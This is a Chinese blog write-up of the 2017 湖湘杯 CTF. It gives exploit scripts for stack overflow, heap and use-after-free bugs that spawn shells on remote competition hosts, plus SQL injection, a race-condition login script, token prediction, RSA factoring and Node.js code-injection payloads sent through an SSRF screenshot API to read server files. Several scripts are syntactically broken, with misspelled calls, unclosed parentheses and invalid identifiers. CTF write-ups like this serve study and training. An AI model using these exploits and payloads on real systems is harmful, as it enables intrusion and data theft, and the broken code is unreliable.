Processing math: 100%
MENU

湖湘杯 writeup

February 7, 2017 • Read: 10342 • CTF

1 题目名 Pwnme 展开目录

栈溢出,可以看到存在 get_flag() 函数,构造 payload 调用它即可。
input your choice 处填入 0xA4 个字节后可以溢出,然后更改指针到 get_flag() 处。

  • from pwn import *
  • p = remote('114.215.43.119', 10001)
  • p.sendline('5')
  • payload = 'A'*0xa4 + 'B'*0x04 + p32(0x8048677)
  • p.sendline(payload)
  • p.interactive()

pwnme1

2 题目名 MyBlog 展开目录

/admin/index 处有登录,username 处可以注入,回显在 set-cookie 处。order by 34 回显不同,union select 1,2,3-- 看到 2 出现,在 flag 表中看到 flag。

注入登录处

3 题目名 note 展开目录

EditNote 方法中的 v7strncat(dest, (const char *)v7 + 15, 0xFFFFFFFFFFFFFFFFLL); 中被覆盖,v7 会被 free。
查看内存布局,Lnameptr 前 64 bytes。
Lname 尾部设置为虚假的申请的内存块参数,v7 指向 ptr[0]ptr[0] 将被 free。
这时候 addnote,新 malloc 的内存位置将是 ptr
ptr[0] 写入 atoi 函数重定向表位置。
可以通过 readNoteatoi 真实位置读出。
通过给定的 libc 得知 system 函数与 atoi 偏移。
使用 editNotereplace 模式将 atoi 重定向表中地址指向 system,接下来程序执行的 atoi 将变为 system,写入 sh 与之交互。

  • from pwn import *
  • # t = process('./note')
  • t = remote('114.215.220.77',10001)
  • def add_note(length, a):
  • t.recvunitl('--->>')
  • t.sendline('1')
  • t.recvunitl(':')
  • t.sendline(str(length))
  • t.recvunitl(':')
  • t.sendline(a)
  • def edit_insert(id, a):
  • t.recvunitl('--->>')
  • t.sendline('3')
  • t.recvunitl('id')
  • t.sendline(str(id))
  • t.recvunitl('append')
  • t.sendline('2')
  • t.recvunitl(':')
  • t.sendline(a)
  • def edit_rewrite(id, a):
  • t.recvunitl('--->>')
  • t.sendline('3')
  • t.recvunitl('id')
  • t.sendline(str(id))
  • t.recvunitl('append')
  • t.sendline('1')
  • t.recvunitl(':')
  • t.sendline(a)
  • def show_note(id):
  • t.recvunitl('--->>')
  • t.sendline('2')
  • t.recvunitl('id')
  • t.sendline(str(id))
  • t.recvunitl('is ')
  • atoi_addr = u64(t.recvline().strip('\n').ljust(8, '\x00'))
  • return atoi_addr
  • def main():
  • t.recvunitl('name')
  • t.sendline('d'*0x30 + p64(0) + p64(0x70))
  • t.recvunitl('address:')
  • t.sendline(p64(0) + p64(0x70))
  • add_note(128, 'd'*94)
  • edit_insert(0, 'f'*33 + 'c' + p32(0x6020E0+0x40)
  • add_note(0x60, p64(0x602088) # ptr addr
  • atoi_addr = show_note(0)
  • base = atoi_addr - 0x36e80
  • # print hex(base)
  • system = base + 0x45390
  • # print hex(system)
  • edit_rewrite(0, p64(system))
  • t.recvunitl('--->>')
  • t.sendline('/bin/sh')
  • t.interactive()
  • if __name__ == '__main__':
  • main()

3.png

4 题目名 ASCII 字符图库展开目录

扫目录发现有备份文件,可以获取源码,http://106.14.79.226/login.php.bakhttp://106.14.79.226/register.php.bak
在 login.php 中存在条件竞争。

  • $uid = $row['id'];
  • $sql = "SELECT isRestricted from privs where userid='$uid' and isRestricted=TRUE;";
  • $result = mysqli_query($conn, $sql);
  • $row = $result->fetch_assoc();
  • if($row['isRestricted']){
  • ?>
  • <h2>此账户限制登录</h2>
  • <?php
  • }else{
  • ?>
  • <h2><?php include('../flag');?></h2>
  • <?php
  • }

跳到 else 分支的时候直接包含 flag,暴力发包跑一下。

  • import requests
  • import threading
  • def register(data):
  • re1 = requests.post(url='http://139.196.164.190/register.php', data=data)
  • print re1.content
  • def login(data):
  • re2 = requests.post(url='http://139.196.164.190/login.php', data=data)
  • print re2.content
  • if 'flag' in re2.content:
  • print 'success!!!'
  • def main():
  • for i in range(50):
  • username = 'hackeee' + str(i)
  • password = '123'
  • data = {'username': username, 'password': password}
  • t1 = threading.Thread(target=register, args=(data,))
  • t2 = threading.Thread(target=login, args=(data,))
  • t1.start()
  • t2.start()
  • t1.join()
  • t2.join()
  • if __name__ == '__main__':
  • main()

可以照抄 HCTF 的脚本了。

4.jpg

5 题目名 简单的 RSA 展开目录

分析题目源代码,发现已知 e, d, n
因为 e×d1=k×φ(n),而 φ(n)=(p1)×(q1),可以猜测 φ(n)n 位数相同,通过遍历 k 可以得到一个和 n 接近的 φ(n)

5.png

已知 nφ(n),可以用构造一个一元二次方程,求出 p, q

6.png

7.png

然后新的 pq 的高 2048-900 比特与 p, q 一致,已知。故可以利用格基归约的方法,使用推广的 coppersmith 攻击。SageMath 代码如下:

  • n = 0x73cec712124b33c0294e01eb52e8c3cd2fe9ddbcbf457b3b950360063dfae42cbbe9855bd986bcfea0948fadfb252f5e2ff3c982ff47afb6596a496636f1fc5ecfe9f5db7620b23fe9e30d230aa9299ab9a78bfb5e0630fd1149259b2b2104ea65d2e27b89785e4bf01d0594d9f94575cbcc3383f63c5aabe4d5b48eb761cce3ab21689b3f3155b5f15efee240d5ac11cee2acbd019de7c06f607ea618b5cd735b5a6972d2b446a12ff58cf8314822fa5ea09d0963acd00441b2a1b37aca01d7f39052927db98a0bd5ca1c49a7ad67923e3aac30ecd33cc8b4b30a40cdb3acc721ee5da53a02977cee959affe672a668525eb78df96af0a14f4ac04fab68efa8eabe9535e1064a5fc2ff7cac9520210311db0c3bf91101bc55a67a81e4f69364c724ee6ad6bdc301df642c9392e9befa4ff0d65481adb6feac251cd207044587da9710809700246cb3c63e659a97249f5e7418568e37db2fb2c1115e719d6682bb2e89b4e23d40ba4c532f289e10e0b89a5647c486a09b9e376844171b229d74f871004d4945a702a391a04ac704f43809e972891e6ab33b3c0f03f0b6f9ae005b26be6e647a1865c727277423f59a595187ffbfea13501e23b6b57ef115eaa6febcb207a3112628652a39578847241c33989e84607b0f683b30ddf773348b07360b063d9120a397809591ca18a04cd32ad9cbfe0494ed3ae8d2c5b43fdb51cbL
  • p_fake = 25469341510015610710601677541490068882874022771473379147959682877979811860690835905177575433486769235926750944378553837429714908846121392087707617153368450157831411033840331452402635316893579428297241392591768100008774205252294780519995317089863801331600746389471563346749402400584048767782402832414560955794979239140648096754408560344380360521300295416056532504527346890878830708030202503589314586128121926254376071861981570648841288044240102936057199541504839050994656267226010545841307490110261343492485615893311098351703701000220286503350522201318815497988460167971677642567134161349144833221240627311534482202273L
  • pbits = 2048
  • kbits = 900
  • pbar = p_fake & (2^pbits-2^kbits)
  • print "upper %d bits (of %d bits) is given" % (pbits-kbits, pbits)
  • PR.<x> = PolynomialRing(Zmod(n))
  • f = x + pbar
  • x0 = f.small_roots(X=2^kbits, beta=0.4)[0] # find root < 2^kbits with factor >= n^0.3
  • print x0 + pbar

然后用在线的 SageMath 服务器 SageMathCell 跑一下。

8.png

求出了新 p,因为已知新 n,那么新 q 也已知了。
那么新 φ(n) 也已知了,对 e 关于新 φ(n) 求个逆即得脱密密钥 d

  • n=0x73cec712124b33c0294e01eb52e8c3cd2fe9ddbcbf457b3b950360063dfae42cbbe9855bd986bcfea0948fadfb252f5e2ff3c982ff47afb6596a496636f1fc5ecfe9f5db7620b23fe9e30d230aa9299ab9a78bfb5e0630fd1149259b2b2104ea65d2e27b89785e4bf01d0594d9f94575cbcc3383f63c5aabe4d5b48eb761cce3ab21689b3f3155b5f15efee240d5ac149318ff80bd72a75fccdc57402aa197b472d98758019df8e9edb31bda82967dc66bcad845df824775eeb66ee304664d7929e8405122f9b0a5406887729dbe9760eb62dd7018087723c07c07082d1d51035fb211a9fc6d8fb5b3ee5bb91af5e3d0b89addce289041a5683a1fe7dc06a3bae283062ba3febdd987b5ac9b9a8ae4b8b02b804accc0a413bb144680fd8d0d8d8bebe176e5a9121f7653c31ede984d234ccce50e688f7048a0bfdfc84004c006ae912c4d4e514c200883e8dabaeb4bf57a5f628eb4bd2e6688d9b7688bc3eed4ce03831be5044dedbd5fddc43a3274b26c990a0e444fcf4a607de59c4906dfd1ea111920c38b4a365c5838e9cf1a22b146aa7afbc6e2e29ebe35aee4bf4d2fbe186c0f359c71f80b8f6298ad38619168d5986a857f558017c546d6df896c690896601aabd48398e957b77ef0e15d6cda339050b74cda3328c34c889306d089efc95ff467a4a775d3e104642cd9819f002b5db8c5f39b4e8d1a83007276b8a0b7L
  • e=0x10001
  • d= 0x37f2646fd190ad1e9f95c50d97cf4590a21e1c766bfd382cafafa2bb41442ce9839aac47944e288de6abfec1b17be4675f492a47f3e600f85a3823df9299d32f46c8a372f39d961f9471914e257f55cf1ef3d7878783fc34b61e1d61da332879c8d9597b0f0dac988916ac349e1d73b615cfbfef778ceeccee4f63dc32b1b7d7213c9199b6acb1d8a5141c94d777a29b89f8e0aea457788eaa9ca43626a24c74ebab355c89e3747626d4899745d148500c91416c782f2b30c9332f5cd32a4d3144d2a407ce9acc00f99dc619d425586285350cff734cdba9d4fad636d7fcbabfa382965005d8343e36ffe72604e557bae5044435ad990b6dca6d922e64387cee4abc0574d2eeeb42dda977be1e1064f6a6b00e78db75a7bf8e6e0c2ac3c6a52b2e6670cad3c907d990e53a7a311ef7b097c7644ff6f2bf96573e47d33031eeabf22620bdbc254a8fff8b0fa6f90d320c45e8d9094c26401f78560e16f77d6e09bc219c9849f1b68dc84ed36eb0cec7df16c4672c16a6b704ef2185ce04539f08688b72d48f9491e55be0095ee74f9622e8ae6835381e2efcd520cd02d1eeeb09bc11ab75bc903053102bc92718f2bf8691561a40026e53e950674f712aaef8cc69360df54c1af8b1f4aef997371b8a108e9b193a51002fe8d61f3991153e7ebd9593d68cd03b2f252c3d9d7a5bf802dcd150bd86028bd3b07cb415b767d716c1L
  • new_n=0x73cec712124b33c0294e01eb52e8c3cd2fe9ddbcbf457b3b950360063dfae42cbbe9855bd986bcfea0948fadfb252f5e2ff3c982ff47afb6596a496636f1fc5ecfe9f5db7620b23fe9e30d230aa9299ab9a78bfb5e0630fd1149259b2b2104ea65d2e27b89785e4bf01d0594d9f94575cbcc3383f63c5aabe4d5b48eb761cce3ab21689b3f3155b5f15efee240d5ac11cee2acbd019de7c06f607ea618b5cd735b5a6972d2b446a12ff58cf8314822fa5ea09d0963acd00441b2a1b37aca01d7f39052927db98a0bd5ca1c49a7ad67923e3aac30ecd33cc8b4b30a40cdb3acc721ee5da53a02977cee959affe672a668525eb78df96af0a14f4ac04fab68efa8eabe9535e1064a5fc2ff7cac9520210311db0c3bf91101bc55a67a81e4f69364c724ee6ad6bdc301df642c9392e9befa4ff0d65481adb6feac251cd207044587da9710809700246cb3c63e659a97249f5e7418568e37db2fb2c1115e719d6682bb2e89b4e23d40ba4c532f289e10e0b89a5647c486a09b9e376844171b229d74f871004d4945a702a391a04ac704f43809e972891e6ab33b3c0f03f0b6f9ae005b26be6e647a1865c727277423f59a595187ffbfea13501e23b6b57ef115eaa6febcb207a3112628652a39578847241c33989e84607b0f683b30ddf773348b07360b063d9120a397809591ca18a04cd32ad9cbfe0494ed3ae8d2c5b43fdb51cbL
  • enc_flag=0x3b0487110b2d61683fc9e65717d6431281c25ceda38915c9c2ff16013066e8cbe9d5f6c1f05988333d96e861f1b216f85d537aa70f603b3d20487a18c5e0d3a03556be88f984f508803f4bb25300149e805204c91f7aea038e545cf588a29bcb20113f81b16d9aacdbd820aa48615a5227ab2f329423da0a254c8f318dff4a7b75cf48e5ac18abc2975fee111ee56297fd7778b49320f6427227f21c08391d7429c49b399c366db38467a339229048e50735dff071bf89dbbab22997071a6b5a16935f5b65032f2cefb9c670cddd1470f6bf16d7c46d0fff22b82b2c1d867f4faa60e5daaad35a15ac0413a17beb5371a06f22c646336ae5e5738cfc5e997860056fb8bf1e02f27031ecd2b7983df510c4cdebbc644ea49e99e2376b89a90be8c89e4995c6689cc39d01fcc8ffef416e49684c0a01fdffab4613cb8eddbfa9e14d9b2daca6ad57c4e440a049d04b915ecfd64095c549bb9d22fb502a740a7373c1961c8cb7a58604bcbca3e5a97e28d5f498061db7cfbf07085ec84f47856e88992ab08870cbdb050431260861d0bcc9bbdf9a4164b8581f1f67e86ab854db1769418e300d73cf902509c76969473d0ee1b70c3b24085942fa9782507b359ffe049b18832610b4555b9bfe8eeae14cec53ab21881475f81069a6a33d6e38e3825eeb13874da8f0c91160712090a092286ea3838d88020e459f795783ad099367L
  • p = 25469341510015610710601677541490068882874022771473379147959682877979811860690835905177575433486769235926750944378553837429714908846121392087707617153368450157831411033840331452402635316893579428297241392591768100008774205252294780519995317089863801331600746389471563346749402400584048767782402832414560955794979239140648096754408560344380360521300295416056532504527346890878830708030202503589314586128121926254376071861981570648841288044240102936057199541504839050994656267226010545841307490110261343492485615893311098351703701000220286503350522201318815497988460167971677642567134161349144833221240627311534482202273L
  • q = 18549922009255682065873541075490523694236993018017378711472390294347289738564184852893543842874884431799749016007575801573141434444916044586366999351488315491792727433264614393421339756775694364361870792935536914730184638908553444398548728815983615033645725832510366617312824482715041572565651201973381892649356584003444436598024263892174846508030188237071677814016044004832440289894928290725654672618489148762420471282901956872617107075453840794524807351894754626817085978425574873605883098036587598323071317767994487432181224109477252086528459769424114149210975886656634032363487078722904015201345359534672812718167L
  • print n % p
  • new_p=25469341510015610710601677541490068882874022771473379147959682877979811860690835905177575433486769235926750944378553837429714908846121392087707617153368450157831411033840331452402635316893579428297241392591768100008774205252294780519995317089863801331600746389471563346749402400584048767782402832414560955794979239140648096754408560344380360521296949892303389907769736015934314142003630949305013818258320986061050152391749744927750414406456844331212916757252664106717050422177732254023115330564252024804793822784448052701331761297133645421217718332137034826156560496020813364370285769780848619094541636625925906815949
  • new_q=new_n / new_p
  • def egcd(a, b):
  • if a == 0:
  • return (b, 0, 1)
  • else:
  • g, y, x = egcd(b % a, a)
  • return (g, x - (b // a) * y, y)
  • def modinv(a, m):
  • g, x, y = egcd(a, m)
  • if g != 1:
  • raise Exception('modular inverse does not exist')
  • else:
  • return x % m
  • d=modinv(e,(new_p-1)*(new_q-1))
  • m=pow(enc_flag,d,new_n)
  • print hex(m)[2:-1].decode("hex")

9.png

6 题目名 login 展开目录

pyinstaller 打包的 exe,运行解包程序,并没有发现什么有用信息。在它运行后 Temp 目录下生成的几个 dll 中,发现 python35.dll 有 upx 壳,去壳后可看到部分代码。
用 ida 打开 dump 文件,可以看到 Congratulations 字符串,跟进到相关代码。

10.png

16 字节数组和索引异或可得到 flag。

  • a = '50 78 76 6B 34 6B 59 63 49 56 6C 4A 53 65 4F 3F'.split(' ')
  • flag = []
  • for i in range(len(a)):
  • flag.append(int(a, 16) ^ i)
  • print ''.join(map(chr, flag))

11.png

7 题目名 shell 展开目录

用 UE 打开文件,将头部 HXB_REVERSE 改成 Go build ID,upx 解压,一个一个函数慢慢查,可以得知输入为 16 位,程序简单地将输入与文件结尾 -48 ~ -64 字节异或后与常数对比,不一致则返回失败,即可逆推输入。

12.png

将解压前 shell 文件最后 40 字节内容改写解压后文件后 40 字节,便于调试。

13.png

14.png

8 题目名 game 展开目录

Buy_weapon 时 new 一个 buffer,将武器属性,攻击函数等拷贝进去,并将这个 buffer 交给了 playerInfo。
Attack_boss 时,简单的调用 playerInfo 中的武器中的攻击函数
此攻击函数可被控制:
攻击函数中检测自身的使用次数,在最后一次使用完毕后会 free 自身。
comment_game 中,malloc 的 buffer 大小与武器 buffer 相同,武器被 free 后,执行 comment_game 时,malloc 的缓冲与 weapon 信息在同一位置,可以借此覆写调用的攻击函数。
通过 comment_game, 填充 16 字节 ascii 字符,show_weapon 时,可以读取到攻击函数的地址,可由此计算出程序基址。
替换攻击函数为 printf,以泄露 glibc,
获取到 system 地址后,覆写攻击函数,写入 sh 与之交互。

  • from pwn import *
  • # t = './game'
  • t = remote('114.215.41.146', 10001)
  • def warehouse(count):
  • t.recvuntil('$')
  • t.sendline('build_warehouse')
  • t.recvuntil('want have?\n')
  • t.sendline(str(count))
  • def buy(name, tid):
  • t.recvuntil('$')
  • t.sendline('buy_weapon')
  • t.recvuntil('buy?\n')
  • t.sendline(name)
  • t.recvuntil('weapon?\n')
  • t.sendline(str(tid))
  • def show(tid):
  • t.recvuntil('$')
  • t.sendline('show_weapon')
  • t.recvuntil('warehouse\n')
  • t.sendline(str(tid))
  • def attack(tid):
  • t.recvuntil('$')
  • t.sendline('attack_boss')
  • t.recvuntil('warehouse\n')
  • t.sendline(str(tid))
  • def comment(co-buff):
  • t.recvuntil('$')
  • t.sendline('comment')
  • t.recvuntil('?\n')
  • t.send(co-buff)
  • printf_plt = 0
  • def leak_addr(addr):
  • global printf_plt
  • co-buff = ''
  • co-buff += '%%%d$s.' % (7)
  • co-buff = co-buff.ljust(16, '\x00')
  • co-buff += p32(printf_plt)
  • co-buff += '\n'
  • comment(co-buff)
  • show(0)
  • t.sendline('attack_boss')
  • t.recvuntil('warehouse\n')
  • payload = ''
  • payload += '0'* 0x04
  • payload += p32(addr)
  • t.sendline(payload)
  • data = p recv(4)
  • back_addr = u32(data[:4])
  • return back_addr
  • def main():
  • global printf_plt
  • t.recvuntil('name?\n')
  • t.sendline('xt')
  • warehouse(3)
  • buy('UMP45', 0)
  • attack(0)
  • attack(0)
  • attack(0)
  • show(0)
  • co-buff = ''
  • co-buff += 'd' * 0x16 + '\n'
  • comment(co-buff)
  • show(0)
  • t.recvuntil('Weapon name: ')
  • t.recv(16)
  • data = t.recvuntil('price:')[:-7]
  • addr = u32(data[:4].ljust(4, '\x00'))
  • proc_addr = addr - 0x1287
  • # print hex(proc_addr)
  • atoi_got = 0x0000215c + proc_addr
  • printf_got = 0x00002124 + proc_addr
  • atoi_plt = 0x000007f0 + proc_addr
  • puts_plt = 0x00000780 + proc_addr
  • show_weapon_func = 0x1287 + proc_addr
  • printf_plt = 0x00000710 + proc_addr
  • offset_atoi = 0x2fbb0
  • atoi_addr = leak_addr(atoi_got)
  • printf_addr = lead_addr(printf_got)
  • offset_system = 0x3e800
  • libc_base = atoi_addr - offset_atoi
  • system_addr = libc_base + offset_system
  • co-buff = ''
  • co-buff += '/bin/sh;'
  • co-buff = co-buff.ljust(16, '\x00')
  • co-buff = ""
  • co-buff += "/bin/sh;"
  • co-buff = co-buff.ljust(16, '\x00')
  • co-buff += p32(system_addr)
  • co-buff += "\n"
  • comment(co-buff)
  • p.sendline("attack_boss")
  • p.recvuntil("warehouse\n")
  • payload = ""
  • payload += "0"
  • p.sendline(payload)
  • p.interactive()
  • if __name = '__main__':
  • main()

15.png

9 题目名 White & black(From Team FFF 提莫)展开目录

www.rar 源码泄露,Function.php auth 函数中有问题。

16.png

如果登录的用户名未存在,传入的密码和生成的 4 位随机数进行了比较。再看 RandomStr 函数:

17.png

弱随机类型,可预测随机数,前提是得知道之前生成的随机数,不过可以请求几次 login.php 所生成的 csrfToken 保存。
当预测随机数成功后,返回的值会赋给 useridtrue

18.png

  • #!/usr/bin/python
  • # -*- coding: UTF-8 -*-
  • import random
  • import requests
  • import re
  • import string
  • chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
  • url = 'http://114.215.220.241'
  • s = requests.session()
  • s.headers = {
  • "User-Agent":
  • "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.63 Safari/537.36"
  • }
  • def ToNum(s):
  • return [chars.find(i) for i in s]
  • def ToChar(s):
  • return ''.join([chars for i in s])
  • def Random(n):
  • return ''.join(random.choice(string.letters+string.digits) for _ in range(n))
  • def CsrfToken():
  • loginUrl = url + '/login.php'
  • s.headers['Cookie'] = "PHPSESSID={};".format(Random(16))
  • res = s.get(loginUrl).content
  • txt = re.search(r'id="csrfToken" value=(\w+)', res)
  • if txt:
  • return txt.group(1)
  • else:
  • return
  • def CrackToken():
  • rand = []
  • predict = []
  • for i in range(2):
  • nums = ToNum(CsrfToken())
  • rand.extend(nums)
  • loginToken = CsrfToken()
  • rand.extend(ToNum(loginToken))
  • for i in range(len(rand),len(rand)+4):
  • rand.append((rand[i-31] + rand[i-3]) % len(chars))
  • predict.extend(rand[-4:])
  • predictToken = ToChar(predict)
  • return loginToken, predictToken
  • if __name__ == '__main__':
  • cLoginUrl = url + '/checkLogin.php'
  • while 1:
  • loginToken, predictToken = CrackToken()
  • username = 'tgbdsf'
  • payload = {
  • 'username': username,
  • 'password': predictToken,
  • 'csrfToken': loginToken,
  • 'submit': 'Login'
  • }
  • cookies = {
  • "PHPSESSID=": Random(32)
  • }
  • res = s.post(cLoginUrl , data=payload, cookies=cookies).content
  • if 'success' in res:
  • print s.headers['Cookie']
  • break

访问 admin.php,上传图片。

19.png

发现一处疑似 ssrf 接口,Fuzz 文件泄露。

20.png

21.png

发现文件泄露。

22.png

发现敏感接口,测试发现为截图功能。

23.png

24.png

25.png

探测截图功能是什么后端实现的,这里可以发现 js 引擎的提示字眼,考虑是 nodejs 的代码注入。考虑闭合等情况后测试一下。

  • Payload:
  • api.1nt3rfac3.com/api.php?filename=test&url=http://27.126.180.187:7890'; page.settings.userAgent = 'test'; // d

由于是 ssrf 二次请求,所以存在空格的地方需要双次编码,其他地方一次编码。

26.png

Ua 发现测试成功,接下来注入 nodejs 代码进行文件相关操作,通过 ls,读取 api.php,读取一模板代码操作可获取 flag,payload 和过程如下

Payload 可从这里获取

  • /getImg.php?img=api.1nt3rfac3.com/api.php?filename=tdt&url=http://27.126.x.x:7890';var fs=require('fs');var ua="";var p=".";var l=fs.list(p);for(var x=0;x<l.length;x++){ua+=l[x]+";"};page.settings.userAgent=ua;//s

27.png

  • /getImg.php?img=api.1nt3rfac3.com/api.php?filename=tdt&url=http://27.x.x:7890';var fs=require('fs');var ua=btoa(fs.read('api.php'));page.settings.userAgent=ua; // s

28.png

29.png

  • /getImg.php?img=api.1nt3rfac3.com/api.php?filename=tdt&url=http://27.126.180.187:7890';var fs=require('fs');var ua=btoa(fs.read('.202f94ca1359a510bb630d429a1048fa4e2bab85'));page.settings.userAgent=ua; // s

30.png

题目文件:http://pan.baidu.com/s/1o7CQGSM 密码: 29yf

Last Modified: July 3, 2017
Archives QR Code
QR Code for this page
Tipping QR Code
Leave a Comment

  • OωO
  • |´・ω・)ノ
  • ヾ(≧∇≦*)ゝ
  • (☆ω☆)
  • (╯‵□′)╯︵┴─┴
  •  ̄﹃ ̄
  • (/ω\)
  • ∠( ᐛ 」∠)_
  • (๑•̀ㅁ•́ฅ)
  • →_→
  • ୧(๑•̀⌄•́๑)૭
  • ٩(ˊᗜˋ*)و
  • (ノ°ο°)ノ
  • (´இ皿இ`)
  • ⌇●﹏●⌇
  • (ฅ´ω`ฅ)
  • (╯°A°)╯︵○○○
  • φ( ̄∇ ̄o)
  • ヾ(´・ ・`。)ノ"
  • ( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
  • (ó﹏ò。)
  • Σ(っ °Д °;)っ
  • ( ,,´・ω・)ノ"(´っω・`。)
  • ╮(╯▽╰)╭
  • o(*////▽////*)q
  • >﹏<
  • ( ๑´•ω•) "(ㆆᴗㆆ)
  • (。•ˇ‸ˇ•。)
  • 泡泡
  • 阿鲁
  • 颜文字

3 Comments
  1. Eb0ny Eb0ny

    你好,题目的百度云链接过期了,可以再分享一下吗

    1. @Eb0ny 链接已经更新。

    2. Eb0ny Eb0ny

      @40huo 谢谢